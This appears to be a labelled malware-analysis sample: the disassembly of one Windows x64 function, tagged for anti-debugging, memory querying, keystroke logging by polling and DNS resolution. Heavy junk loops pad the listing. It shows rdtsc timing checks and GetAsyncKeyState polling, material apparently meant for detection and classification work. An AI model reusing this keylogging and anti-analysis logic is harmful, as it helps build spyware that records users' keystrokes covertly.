Function at 0x140001450
Capabilities:
Execute anti-debugging instructions
Get memory capacity
Log keystrokes via polling
Resolve dns

Disassembly:
sub rsp, 0xa88
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x468
add edx, dword [rbp - 0xaf]
cmp rdx, 0xffffffffd7ca4eb9
je 0x1400014f5
mov rcx, 0x5f
call sub.USER32.dll_GetSystemMetrics
mov qword [rbp - 0x3fa], rax
sub ecx, dword [rbp - 0x370]
add r10, rax
movzx ecx, ch
sub r9, 0xec0c
mov rax, r11
sub r8, qword [rbp - 0x289]
mov ecx, 0x82cb
mov qword [rbp - 0xe2], rcx
mov qword [rbp - 0x2c8], r9
xor rdx, 0x1f6b
add dword [rbp - 0x1c2], eax
movzx eax, ax
mov eax, dword [rbp - 0xdb]
mov ecx, edx
mov ecx, eax
call sub.USER32.dll_GetFocus
mov eax, edx
mov r8, r10
movzx ecx, dl
mov ecx, dword [rbp - 0x66]
xor eax, edx
mov byte [rbp - 0x3e7], cl
movzx edx, byte [0x140009a30]
mov edx, ecx
add rax, 0xfeee
mov edx, dword [rbp - 0xcb]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001549
mov edx, eax
mov eax, edx
mov eax, edx
mov edx, 0xe1d
mov qword [rbp - 0x184], r9
movzx eax, ah
mov qword [rbp - 0x1ab], r9
mov eax, dword [rbp - 0x12f]
movzx eax, dl
mov eax, dword [rbp - 0x166]
movzx edx, dx
mov dword [0x140009a2e], edx
inc qword [rsp]
mov eax, 0xa649
cmp eax, dword [rsp]
jl 0x140001511
add rsp, 0x10
movzx eax, cl
or qword [rbp - 0x269], r9
xor eax, edx
mov qword [rbp - 0x3cb], r8
lea r11, [rbp - 0x65]
mov r11, qword [0x140009a30]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400015d0
and qword [rbp - 0x10d], r10
mov eax, edx
and dword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0], ecx
and rdx, qword [rbp - 0x17d]
and eax, dword [0x140009a37]
mov rdx, 0xd645
sub ecx, dword [rbp - 0x31b]
or r8, qword [rbp - 0x1c8]
mov dword [rbp - 0x2c2], eax
mov rax, 0x1f9f
mov dword [rbp - 0x44d], ecx
mov dword [rbp - 0xca], eax
inc qword [rsp]
mov edx, 0x503a
cmp edx, dword [rsp]
jl 0x140001583
add rsp, 0x10
and edx, eax
or r11, qword [rbp - 0x325]
mov dword [rbp - 0x175], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000161c
add r8, rcx
mov r11, qword [rbp - 0x2a8]
mov qword [rbp - 0xd5], r10
mov edx, dword [rbp - 0x32d]
and dword [rbp - 0x325], ecx
inc qword [rsp]
mov ecx, 0x7646
cmp ecx, dword [rsp]
jl 0x1400015fb
add rsp, 0x10
lea rcx, [0x140009b20]
call sub.msvcrt.dll_printf
mov rax, 0x62aa
add r8, rcx
lea rdx, [rbp - 0xe5]
mov r9, qword [rbp - 0x199]
mov ecx, dword [rbp - 0x2c2]
mov r8, rdx
and qword [0x140009a3a], r9
mov eax, ecx
mov ecx, dword [rbp - 0xb2]
mov r8, qword [rbp - 0x1f9]
or dword [rbp - 0x141], eax
movzx edx, al
mov qword [rbp - 0x302], rcx
mov dword [rbp - 0x27f], eax
call sub.KERNEL32.dll_GetTickCount
mov qword [rbp - 0xbc], r9
movzx edx, ch
and qword [rbp - 0x43b], r10
mov eax, 0xdc9a
call sub.KERNEL32.dll_GetCurrentProcess
lea ecx, [rbp - 0x26e]
mov dword [rbp - 0x413], edx
cmp r9, 0x8a86ede
je 0x1400017f9
mov eax, dword [rbp - 0x450]
sub rax, qword [rbp - 0x16e]
and ecx, dword [rbp - 0x2bc]
mov r8, qword [rbp - 0x370]
and eax, ecx
sub ecx, eax
lea rax, [0x140009a2d]
mov ecx, dword [rbp - 0x2e]
add rdx, qword [rbp - 0x119]
xor ah, 0xc3
sub qword [rbp - 0x1d9], r8
movzx edx, byte [rbp - 0x2c7]
mov qword [rbp - 0x9b], rcx
movzx edx, ch
and eax, dword [rbp - 0x327]
sub edx, 0x14d9
or ecx, edx
call sub.USER32.dll_GetActiveWindow
mov edx, ecx
add ecx, edx
xor edx, dword [rbp - 0x339]
sub dword [rbp - 0x29f], ecx
movzx ecx, byte [rbp - 0x102]
add rax, 0x6924
lea eax, [rbp - 0xc5]
lea edx, [0x140009a30]
add ecx, dword [0x140009a30]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400017e7
mov edx, eax
mov rdx, 0x8afb
movzx ecx, dl
movzx ecx, dh
mov qword [rbp - 0x2a8], rdx
mov dword [rbp - 0x1b7], edx
mov ecx, dword [rbp - 0x439]
mov ecx, edx
mov edx, ecx
mov rdx, qword [rbp - 0x20e]
mov eax, dword [rbp - 0x2ed]
and rcx, qword [rbp - 0x12f]
movzx eax, al
mov qword [rbp - 0x183], r8
mov dword [rbp - 0x37c], ecx
movzx edx, dh
sub eax, 0xa65a
movzx edx, dl
mov ecx, dword [rbp - 0x222]
mov rax, qword [rbp - 0x157]
and ecx, dword [rbp - 0x2b]
movzx edx, dl
mov dword [rbp - 0x232], edx
mov qword [rbp - 0x3d1], rcx
sub ecx, dword [rbp - 0x3d5]
mov ecx, dword [rbp - 0x40f]
mov r10, rdx
mov edx, dword [rbp - 0x325]
inc qword [rsp]
cmp qword [rsp], 0x13c1
jle 0x140001759
add rsp, 0x10
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x1400098fb]
push rbp
mov rbp, rsp
sub rsp, 0x248
lea r11, [rbp - 0x67]
mov qword [rbp - 0x4b], r8
mov ecx, 0xb73c
mov ecx, 0xeccd
cmp rdx, rcx
jb 0x1400018ea
lea rax, [0x140009a2c]
add ecx, dword [rbp - 0x22f]
mov eax, dword [rbp - 0x188]
movzx ecx, ch
sub edx, 0x6c13
mov edx, eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000189f
mov qword [rbp - 0x1f0], r9
mov qword [rbp - 0xce], rdx
movzx ecx, cx
or edx, dword [rbp - 0x10b]
or ch, byte [rbp - 0x14c]
sub edx, dword [rbp - 0x27]
mov ecx, dword [rbp - 0x237]
and rcx, 0x712b
mov r8, qword [rbp - 0x1dc]
mov edx, eax
mov ecx, dword [rbp - 0x235]
inc qword [rsp]
mov ecx, 0xe463
cmp ecx, dword [rsp]
jl 0x14000185f
add rsp, 0x10
mov edx, 0x8cf
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400018c9
sub r11, r8
mov eax, edx
inc qword [rsp]
mov ecx, 0x3597
cmp ecx, dword [rsp]
jl 0x1400018c0
add rsp, 0x10
mov rcx, qword [rbp - 0x1b1]
mov edx, 0x7604
add qword [rbp - 0x143], r8
sub ecx, dword [rbp - 0xe]
call sub.USER32.dll_GetActiveWindow
mov dword [rbp - 0x14c], edx
mov eax, dword [rbp - 0x7a]
movzx edx, cx
add r9, qword [rbp - 0xd0]
movzx edx, cx
lea rcx, [0x140009ad6]
call sub.KERNEL32.dll_GetModuleHandleA
mov ecx, 0xede5
mov rdx, r9
mov qword [rbp - 0x1ee], r11
mov dword [rbp - 0x11e], eax
cmp r8, 0x482fdf79
jno 0x140001957
mov r9, qword [rbp - 0xc7]
sub qword [rbp - 0x7c], r9
mov rdx, qword [rbp - 0x70]
add r9, 0x6dc0
xor ecx, edx
sub rdx, 0xd95b
mov ecx, dword [rbp - 0x16b]
mov ecx, edx
or qword [rbp - 0x117], rax
movzx edx, dl
mov r8, rcx
mov rdx, qword [rbp - 0x1bb]
movzx ecx, ah
cmp edx, dword [0x140009a2e]
js 0x140001bc7
mov dword [rbp - 0x1cf], edx
add eax, ecx
mov dword [0x140009a35], ecx
mov ecx, dword [rbp - 0x4f]
lea rcx, [0x140009ab8]
call sub.KERNEL32.dll_GetModuleHandleA
and r9, 0xf5ba
mov al, 0xdd
mov eax, 0xb2a3
call sub.USER32.dll_GetDesktopWindow
mov rcx, 0xe3cb
call sub.msvcrt.dll_srand
mov rcx, 0xec
call sub.KERNEL32.dll_Sleep
mov dword [rbp - 0x19b], edx
and edx, 0x80c3
call sub.KERNEL32.dll_GetCurrentProcessId
mov r11, r9
add r11, rcx
mov rax, r11
sub dword [rbp - 0x10f], edx
add eax, ecx
mov qword [rbp - 0x90], r11
mov rcx, qword [rbp - 0x10a]
mov qword [rbp - 0x157], rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001b17
mov rdx, 0x5b8e
movzx edx, byte [rbp - 0x1d1]
mov rdx, 0x8ebe
mov eax, 0x36b
movzx edx, dh
mov qword [0x140009a2e], rax
mov eax, dword [rbp - 0x17]
mov dword [rbp - 0x192], eax
mov r11, qword [rbp - 0xe3]
mov qword [rbp - 0x144], r10
mov eax, dword [rbp - 0x13f]
mov qword [rbp - 0x175], r8
mov qword [rbp - 0x207], r11
mov r9, qword [rbp - 0x202]
mov word [rbp - 0x231], ax
mov qword [rbp - 0x92], r10
mov ecx, dword [rbp - 0xad]
and rcx, qword [rbp - 0x1ca]
add r11, rax
sub edx, dword [rbp - 0x122]
mov dword [rbp - 0x1ef], edx
xor dword [rbp - 0x13f], ecx
mov r10, qword [rbp - 0x50]
add r11, 0x5a43
movzx edx, cl
mov r8, r11
xor eax, ecx
mov r10, r11
xor ecx, dword [rbp - 0x1fd]
mov r11, qword [rbp - 0x1f6]
mov dword [rbp - 0x45], edx
and r9, qword [rbp - 0x79]
mov r9, 0x4a2
mov edx, dword [rbp - 0x204]
add edx, dword [rbp - 0x13c]
mov r10, qword [rbp - 0x116]
lea rdx, [rbp - 0x6d]
sub edx, dword [rbp - 0x162]
mov qword [rbp - 0x10], r11
movzx edx, dx
mov dword [rbp - 0xcc], eax
lea r10, [rbp - 0x217]
mov ecx, eax
mov edx, eax
sub r9, rcx
mov dword [rbp - 0x51], ecx
mov qword [rbp - 0xce], rax
or rdx, 0x269e
mov qword [rbp - 0x1a2], r10
inc qword [rsp]
mov eax, 0xe15d
cmp eax, dword [rsp]
jl 0x140001a0c
add rsp, 0x10
mov ecx, eax
movzx edx, byte [rbp - 0x191]
mov r8, r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001bb9
mov eax, dword [rbp - 0x15b]
movzx ecx, word [rbp - 0xf6]
sub eax, dword [rbp - 0x1be]
lea r9, [rbp - 0x176]
sub dword [rbp - 0x1c1], eax
mov edx, ecx
movzx ecx, byte [rbp - 0x138]
movzx ecx, ah
mov dword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0], ecx
movzx edx, byte [0x140009a39]
or rdx, r9
or edx, ecx
mov r8, 0xbee9
sub rax, 0xe5af
add ecx, 0x9d52
mov rax, qword [rbp - 0x150]
lea rax, str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0
mov rdx, qword [rbp - 0x1f0]
sub dword [rbp - 0xae], edx
sub dword [rbp - 0x22c], edx
inc qword [rsp]
mov ecx, 0x7448
cmp ecx, dword [rsp]
jl 0x140001b43
add rsp, 0x10
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0x458
mov eax, dword [rbp - 0x329]
or dword [rbp - 0xc], edx
sub rsp, 0x70
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x70
mov qword [rbp - 0x3d4], r8
xor eax, dword [rbp - 0x1c6]
add qword [rbp - 0x423], rdx
mov ecx, edx
xor ecx, edx
and ecx, dword [rbp - 1]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001c57
xor eax, 0x6974
xor rcx, qword [rbp - 0x64]
mov r9, qword [rbp - 0x217]
add qword [rbp - 0x3bf], rax
or r9, rax
sub ecx, dword [rbp - 0x32c]
add edx, ecx
sub rax, qword [rbp - 0x409]
mov r10, qword [rbp - 0x146]
inc qword [rsp]
mov rax, 0xd65c
cmp qword [rsp], rax
jle 0x140001c23
add rsp, 0x10
mov qword [0x140009a32], rdx
mov rcx, qword [rbp - 0x20]
cmp ecx, eax
jne 0x140001ddc
mov qword [rbp - 0xc], r8
sub eax, dword [rbp - 0x43b]
movzx eax, cx
movzx ecx, byte [rbp - 0x22d]
lea r8, [rbp - 0x1bb]
mov r10, qword [rbp - 0x1a]
lea ecx, [rbp - 0x7e]
mov rcx, qword [rbp - 0x25b]
or dword [rbp - 0x282], edx
movzx ecx, byte [rbp - 0x25]
mov dword [rbp - 0x3eb], eax
xor eax, edx
mov qword [rbp - 0x2fb], rcx
sub edx, dword [rbp - 0x1d0]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001d82
sub dx, 0xa7f2
mov eax, 0x723a
sub qword [rbp - 0x213], r8
mov qword [rbp - 0xe9], rdx
mov edx, ecx
sub qword [0x140009a39], r11
mov edx, ecx
mov edx, eax
movzx edx, ah
movzx edx, ah
or qword [rbp - 0xe9], rax
sub dword [rbp - 0x3b3], ecx
add r9, r8
sub ecx, 0x14a
mov rcx, qword [rbp - 0xb3]
add ecx, 0xdef3
xor r8, rax
mov r10, 0xbeaa
add r9, r11
mov rdx, qword [0x140009a38]
mov r10, qword [rbp - 0x2e8]
mov qword [0x140009a2d], rax
sub ecx, edx
lea rdx, [rbp - 0x34b]
and qword [0x140009a32], r8
mov dword [rbp - 0x151], eax
mov cx, word [rbp - 0xe5]
mov eax, dword [rbp - 0x1df]
sub eax, dword [rbp - 0x16f]
add eax, edx
mov ecx, edx
mov dword [0x140009a37], eax
mov rax, 0xb8cf
inc qword [rsp]
mov rax, 0x3686
cmp qword [rsp], rax
jle 0x140001cd4
add rsp, 0x10
add r10, qword [rbp - 0x5e]
mov dword [rbp - 0x7c], eax
mov eax, dword [rbp - 0x2ab]
call sub.USER32.dll_GetFocus
mov ch, ah
call sub.USER32.dll_GetActiveWindow
mov edx, eax
movzx ecx, cl
or ecx, dword [0x140009a36]
mov rax, 0x4581
xor rcx, r9
mov dword [rbp - 0x9f], eax
mov dword [rbp - 0x33b], edx
mov edx, 0xea65
mov ecx, dword [rbp - 0x27d]
sub qword [rbp - 0x3d7], rax
mov dword [rbp - 0x72], edx
add edx, 0x6f46
xor r11, qword [rbp - 0x128]
movzx edx, word [rbp - 0x19a]
movzx edx, dh
mov dword [rbp - 0x24], eax
mov r9, qword [rbp - 0x277]
mov rcx, 0xaf
call sub.USER32.dll_GetAsyncKeyState
add ax, dx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001e81
add ecx, edx
mov qword [rbp - 0x2ed], r10
add dword [rbp - 0x3a2], edx
add dword [rbp - 0x1fa], ecx
mov dword [rbp - 0x381], ecx
lea edx, [rbp - 0x7e]
movzx eax, cl
mov dword [rbp - 0x198], ecx
mov qword [rbp - 0x1ee], rdx
mov r8, qword [rbp - 0x2f6]
mov rdx, qword [rbp - 0x4f]
mov qword [rbp - 0x20e], r11
add ecx, 0xcd18
mov rdx, rax
mov r8, rdx
mov rcx, 0x7aa5
mov dword [rbp - 0x262], ecx
inc qword [rsp]
cmp qword [rsp], 0x6536
jle 0x140001e24
add rsp, 0x10
call sub.USER32.dll_GetForegroundWindow
mov eax, dword [rbp - 0x1a3]
mov r9, qword [rbp - 0x7e]
sub edx, 0x931c
mov r10, 0xde8c
movzx eax, byte [rbp - 0xab]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001ec4
inc qword [rsp]
cmp qword [rsp], 0x56d1
jle 0x140001ec0
add rsp, 0x10
mov dword [rbp - 0x443], edx
mov qword [rbp - 0x89], r10
mov edx, eax
add eax, edx
mov r11, 0xc093
mov dword [rbp - 0xe2], ecx
mov rcx, 0x83b3
cmp edx, dword [0x140009a36]
jns 0x140001fa7
xor rax, qword [rbp - 0x304]
lea rcx, [rbp - 0x3f]
mov rdx, qword [0x140009a2c]
add ecx, edx
mov rcx, 0x1d5
call sub.KERNEL32.dll_Sleep
mov eax, dword [rbp - 0x1a7]
and rdx, qword [rbp - 0x2f9]
mov r10, 0x393b
mov qword [rbp - 0xc9], r10
mov rcx, qword [rbp - 0x290]
lea eax, [rbp - 0x1b1]
xor qword [rbp - 0x3a], r9
mov qword [rbp - 0x39a], r8
mov rax, 0xe735
call sub.KERNEL32.dll_GetLastError
mov eax, ecx
mov edx, dword [rbp - 0x372]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001f99
and dword [0x140009a30], eax
movzx ecx, ax
mov eax, dword [rbp - 0x3e8]
lea rcx, [rbp - 0x3e6]
mov qword [rbp - 0x125], rcx
inc qword [rsp]
cmp qword [rsp], 0x39e2
jle 0x140001f78
add rsp, 0x10
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x14000180d
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x1400098d7]
mov r12, 0xb8
call fcn.140004c44
push rbp
mov rbp, rsp
sub rsp, 0x488
mov dword [rbp - 0x401], eax
mov eax, dword [rbp - 0x41]
add rax, 0xed57
mov r8, qword [rbp - 0x3da]
mov dword [rbp - 0x28b], edx
xor r11, r8
mov qword [rbp - 0x453], r9
sub qword [rbp - 0x37e], rax
lea r10, [0x140009a32]
lea r11, [rbp - 0x3f2]
sub rcx, 0x6900
mov ecx, 0x4f3d
or qword [rbp - 0x170], r9
sub rdx, 0x307a
mov edx, dword [rbp - 0x440]
mov edx, 0x8c96
xor rdx, 0xdba7
test eax, 0xb84590a8
jne 0x140002198
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000213f
mov qword [rbp - 0x15b], r8
mov eax, edx
mov rcx, r9
mov r11, 0x4999
xor r11, qword [rbp - 0x8f]
mov dword [rbp - 0x32d], ecx
or qword [rbp - 0x2a9], r11
movzx eax, byte [0x140009a36]
xor r11, 0xd2f7
mov dword [rbp - 0x442], eax
or dword [rbp - 0x186], ecx
mov rax, rcx
mov eax, dword [rbp - 0x40]
mov qword [rbp - 0x398], rdx
sub dh, 0x5c
mov qword [0x140009a30], rax
mov rcx, r10
mov rax, rdx
movzx ecx, ax
mov edx, dword [rbp - 0xa5]
lea r8, [0x140009a36]
movzx ecx, al
mov r10, qword [rbp - 0x144]
mov ecx, 0xd9ae
mov edx, 0x7ed5
mov qword [rbp - 0xfc], r8
mov rdx, qword [rbp - 0x3b]
sub r9, r10
mov dword [rbp - 0x187], edx
movzx ecx, byte [rbp - 0x41b]
sub rcx, qword [rbp - 0x368]
add dword [0x140009a2d], eax
mov eax, dword [rbp - 0x1e]
or edx, dword [rbp - 0x2f5]
mov qword [rbp - 0x1c5], rcx
mov r8, rax
mov rax, 0x12d6
mov eax, 0xb71d
mov rcx, rax
movzx edx, dx
mov eax, ecx
inc qword [rsp]
mov rdx, 0x4f28
cmp qword [rsp], rdx
jle 0x14000206a
add rsp, 0x10
mov ecx, dword [rbp - 0x409]
mov qword [0x140009a2e], rdx
mov dword [rbp - 0x28d], edx
mov r9, qword [rbp - 0x396]
mov eax, ecx
and r11, rcx
movzx ecx, al
or dword [rbp - 0x27e], edx
mov r10, qword [rbp - 0x36e]
and eax, dword [rbp - 0x1ae]
mov qword [rbp - 0x427], r9
mov edx, dword [rbp - 0x202]
mov eax, ecx
leave
call fcn.140005beb
call fcn.1400067b9
cmp rax, 0
jne 0x140006b33
push rbp
mov rbp, rsp
sub rsp, 0x418
or ecx, dword [0x140009a31]
mov dword [rbp - 0xd1], ecx
mov eax, 0xedda
sub r8, qword [rbp - 0xa4]
and dword [rbp - 0x352], edx
mov word [rbp - 0x1a], dx
mov rax, qword [0x140009a2e]
mov edx, ecx
and qword [rbp - 0x40a], r9
mov r9, qword [rbp - 0x18a]
mov eax, dword [rbp - 0x3db]
movzx edx, dh
mov qword [rbp - 0xa4], r8
sub r11, rdx
mov rax, qword [rbp - 0x10c]
movzx ecx, al
sub eax, 0xef48
mov dword [rbp - 0x9b], edx
mov dword [rbp - 0x147], ecx
mov rdx, qword [rbp - 0x380]
add r10, rdx
mov r9, qword [rbp - 0xa0]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002293
and ecx, 0xa69c
movzx edx, al
mov byte [rbp - 0x361], ah
mov ecx, dword [rbp - 0x66]
mov ecx, dword [0x140009a34]
sub eax, ecx
mov edx, 0xf1a1
mov dword [rbp - 0xe9], ecx
mov qword [rbp - 0xd9], rdx
xor r9, qword [rbp - 0x343]
movzx eax, dx
mov dword [rbp - 0x330], eax
mov ecx, dword [rbp - 0x33d]
mov dword [rbp - 0x3ac], eax
movzx edx, dl
add dword [rbp - 0x2c8], edx
inc qword [rsp]
cmp qword [rsp], 0x65a9
jle 0x14000223e
add rsp, 0x10
and dword [rbp - 0x1fc], eax
mov dword [rbp - 0x285], ecx
add edx, dword [rbp - 0x2f9]
mov r9, 0x9574
movzx ecx, cl
movzx ecx, word [0x140009a2d]
mov ecx, dword [rbp - 0x1aa]
mov qword [rbp - 0x16f], rcx
mov edx, dword [rbp - 0xb5]
mov qword [rbp - 0x404], r11
mov dword [rbp - 0x151], eax
add dword [rbp - 0xf7], edx
mov edx, eax
mov r9, qword [0x140009a36]
or edx, 0xee9c
add r11, r10
mov ecx, dword [0x140009a34]
mov eax, dword [rbp - 0xec]
leave
call fcn.140006960
cmp rax, 0
jne 0x140006b33
push r12
push r15
push rbp
mov rbp, rsp
sub rsp, 0xf8
mov eax, dword [0x140009a3a]
xor qword [0x140009a39], rax
mov r9, qword [rbp - 0xb1]
mov dword [rbp - 0xc4], edx
mov edx, dword [rbp]
movzx ecx, word [0x140009a38]
movzx eax, byte [0x140009a31]
mov rax, qword [rbp - 0x82]
mov qword [rbp - 0x1e], rdx
mov qword [rbp - 0xe3], rcx
mov eax, dword [rbp - 0x50]
mov dword [rbp - 0x7f], ecx
add ax, word [0x140009a32]
mov qword [rbp - 0xc4], r10
mov ecx, dword [rbp - 0x82]
sub qword [rbp - 0x37], rcx
mov dword [rbp - 0x3f], eax
mov eax, dword [rbp - 0x95]
add edx, dword [0x140009a36]
cmp eax, 0x9e885d4b
jae 0x1400024cd
xor r9, qword [rbp - 0x29]
mov byte [rbp - 0x77], dl
mov edx, dword [0x140009a37]
add r9, 0x547b
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400023c2
inc qword [rsp]
cmp qword [rsp], 0xe1d2
jle 0x1400023be
add rsp, 0x10
mov dword [rbp - 0xaf], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400024bb
mov r15, qword [rbp - 0x7f]
sub dword [rbp - 0x50], eax
mov rax, rdx
mov edx, ecx
lea r10, [rbp - 0x55]
mov rdx, qword [rbp - 0xa0]
xor ah, ch
mov r15, qword [rbp - 0xae]
mov qword [rbp - 0x28], r9
lea eax, [rbp - 0x52]
mov r12, qword [rbp - 0x4d]
mov qword [rbp - 0x2a], rcx
lea r15, [rbp - 0x35]
mov r8, r10
mov dword [rbp - 0xb5], ecx
mov r15, qword [rbp - 5]
mov eax, dword [rbp - 0xaa]
sub eax, 0x867a
mov dword [rbp - 0x64], edx
xor edx, dword [rbp - 0x92]
mov dword [rbp - 0xb2], edx
lea rax, [rbp - 0xc7]
mov eax, dword [rbp - 0x6f]
mov r11, qword [rbp - 0xaf]
mov r10, 0x9b26
mov dword [rbp - 0xea], eax
mov rdx, qword [rbp - 0x15]
sub r8, 0x1fa6
and eax, ecx
mov qword [rbp - 0xc4], rcx
mov dword [rbp - 0xe6], ecx
mov qword [rbp - 0xe9], r15
or r10, qword [rbp - 0xe5]
add eax, dword [rbp - 0x69]
mov byte [rbp - 0x82], dh
mov dword [rbp - 0xb0], edx
mov qword [rbp - 0x82], r9
mov r12, 0x950e
mov r12, qword [rbp - 0x21]
or qword [rbp - 0x24], r12
movzx eax, al
mov r9, qword [rbp - 0x43]
sub r12, qword [rbp - 0x32]
inc qword [rsp]
mov eax, 0x3c45
cmp eax, dword [rsp]
jl 0x1400023e7
add rsp, 0x10
leave
pop r15
pop r12
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x14000995b]
call rax
test eax, eax
jne 0x140004b67
push rbp
mov rbp, rsp
sub rsp, 0x388
mov r9, qword [rbp - 0x2bb]
xor dword [0x140009a30], eax
and edx, dword [0x140009a2e]
movzx edx, cx
mov dx, cx
mov rax, qword [rbp - 0xc0]
mov qword [rbp - 0x211], rdx
sub r9, qword [rbp - 0x1e5]
sub eax, 0xfc14
movzx edx, word [rbp - 0x1d1]
xor r9, rcx
and edx, eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002592
movzx edx, ax
mov dword [rbp - 0x26e], ecx
movzx edx, dl
mov ecx, dword [rbp - 0x1a3]
sub dword [rbp - 0x2c0], ecx
mov qword [rbp - 0x110], rax
mov qword [rbp - 0x126], r9
mov dword [rbp - 0x65], eax
mov ecx, dword [rbp - 0x2b1]
and qword [rbp - 0xd5], r10
mov dword [rbp - 0x29e], ecx
movzx eax, cl
sub dword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0], ecx
mov rax, rdx
inc qword [rsp]
cmp qword [rsp], 0xab11
jle 0x140002546
add rsp, 0x10
mov ecx, eax
sub rax, qword [rbp - 0x270]
xor r11, 0xb407
lea r10, [rbp - 0x36]
add eax, 0x8c3c
mov rdx, qword [rbp - 0x2ba]
mov ecx, dword [rbp - 0x30a]
and rdx, qword [0x140009a2f]
xor dword [rbp - 0x322], edx
mov r8, 0xfd51
mov edx, dword [rbp - 0x255]
sub eax, dword [rbp - 0x124]
mov dword [rbp - 0x1bb], eax
mov r9, 0xd2da
mov eax, dword [rbp - 0x355]
mov rcx, qword [rbp - 0x55]
add dword [rbp - 0x1b0], edx
mov dword [rbp - 0x28f], edx
mov dword [rbp - 0x142], ecx
add dword [rbp - 0x2ae], ecx
sub r9, qword [rbp - 0xcf]
mov qword [rbp - 0x3f], rcx
leave
rdtsc
mov dword [0x1400091b7], eax
lea rsi, [0x14000910d]
mov r10, 0
call fcn.1400055e3
push rbp
mov rbp, rsp
sub rsp, 0x328
mov edx, dword [rbp - 0x27d]
movzx eax, dl
lea rdx, [rbp - 0x6c]
mov dword [rbp - 0x2d4], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400026e7
mov dword [rbp - 0x3b], ecx
mov edx, ecx
mov dword [0x140009a2c], eax
and dword [rbp - 0x58], edx
mov dword [0x140009a36], edx
and r11, qword [rbp - 0x107]
mov dword [rbp - 0x253], edx
mov dword [rbp - 0xf7], eax
or edx, ecx
sub r11, 0x8953
sub dword [rbp - 0x74], eax
and rax, 0x921d
mov r8, qword [rbp - 0x2ea]
mov dword [rbp - 0x300], edx
mov rcx, r9
mov qword [rbp - 0x3f], r8
mov qword [rbp - 0x18a], r8
mov edx, dword [rbp - 0x10e]
mov r9, qword [rbp - 0x1c1]
mov ecx, dword [rbp - 0x2f5]
mov ecx, dword [rbp - 0x137]
sub edx, eax
sub dword [0x140009a36], edx
mov ecx, dword [rbp - 0x100]
inc qword [rsp]
cmp qword [rsp], 0xa52c
jle 0x140002668
add rsp, 0x10
mov ecx, dword [rbp - 0x21e]
mov byte [rbp - 0x262], al
mov qword [rbp - 0xb8], r9
mov edx, 0x9f97
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002786
add eax, 0x1f53
mov rax, qword [rbp - 0x295]
mov rdx, 0x7879
movzx eax, byte [rbp - 0x25c]
or edx, 0x26d0
sub rdx, 0x4f92
sub qword [rbp - 0x126], rcx
mov ecx, dword [rbp - 0x39]
mov dword [0x140009a2c], edx
or r9, 0x3c92
mov dword [rbp - 0x176], ecx
and qword [rbp - 0x246], r11
lea rax, [rbp - 0x250]
mov qword [rbp - 0xb8], r11
mov dword [rbp - 0x37], edx
mov r10, 0x406a
inc qword [rsp]
mov r11, 0xff71
cmp qword [rsp], r11
jle 0x14000271f
add rsp, 0x10
movzx edx, dl
mov r8, rcx
mov eax, dword [rbp - 0x250]
cmp rax, r8
jne 0x1400027aa
mov eax, ecx
leave
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push r15
push rsi
push r14
push r12
push rbp
mov rbp, rsp
sub rsp, 0x508
mov eax, dword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0]
sub r9, qword [rbp - 0x2ed]
add rax, qword [0x140009a31]
mov edx, 0x4322
or qword [rbp - 0x427], rcx
mov esi, eax
mov ax, 0x2664
mov eax, dword [rbp - 0x2ea]
mov ecx, esi
mov dword [0x140009a31], eax
xor r8, qword [0x140009a2c]
mov dword [rbp - 0x418], eax
cmp r8, qword [0x140009a33]
jmp 0x140002847
or esi, dword [rbp - 0x208]
lea r9, [rbp - 0x312]
movzx esi, byte [0x140009a31]
mov dword [rbp - 0x2e5], ecx
add rcx, qword [rbp - 0x1cf]
movzx eax, byte [0x140009a3a]
mov r9, qword [rbp - 0x10]
add qword [rbp - 0x3a3], r12
mov dword [0x140009a32], eax
lea edx, [rbp - 0x299]
and edx, dword [rbp - 0x3ea]
add cl, byte [rbp - 0x3b9]
mov dword [rbp - 0x19c], esi
movzx eax, byte [rbp - 0x134]
or dword [rbp - 0x1fd], esi
mov eax, dword [rbp - 0xd3]
mov esi, 0xec5b
mov r11, 0xc198
sub esi, dword [rbp - 0x136]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400028cf
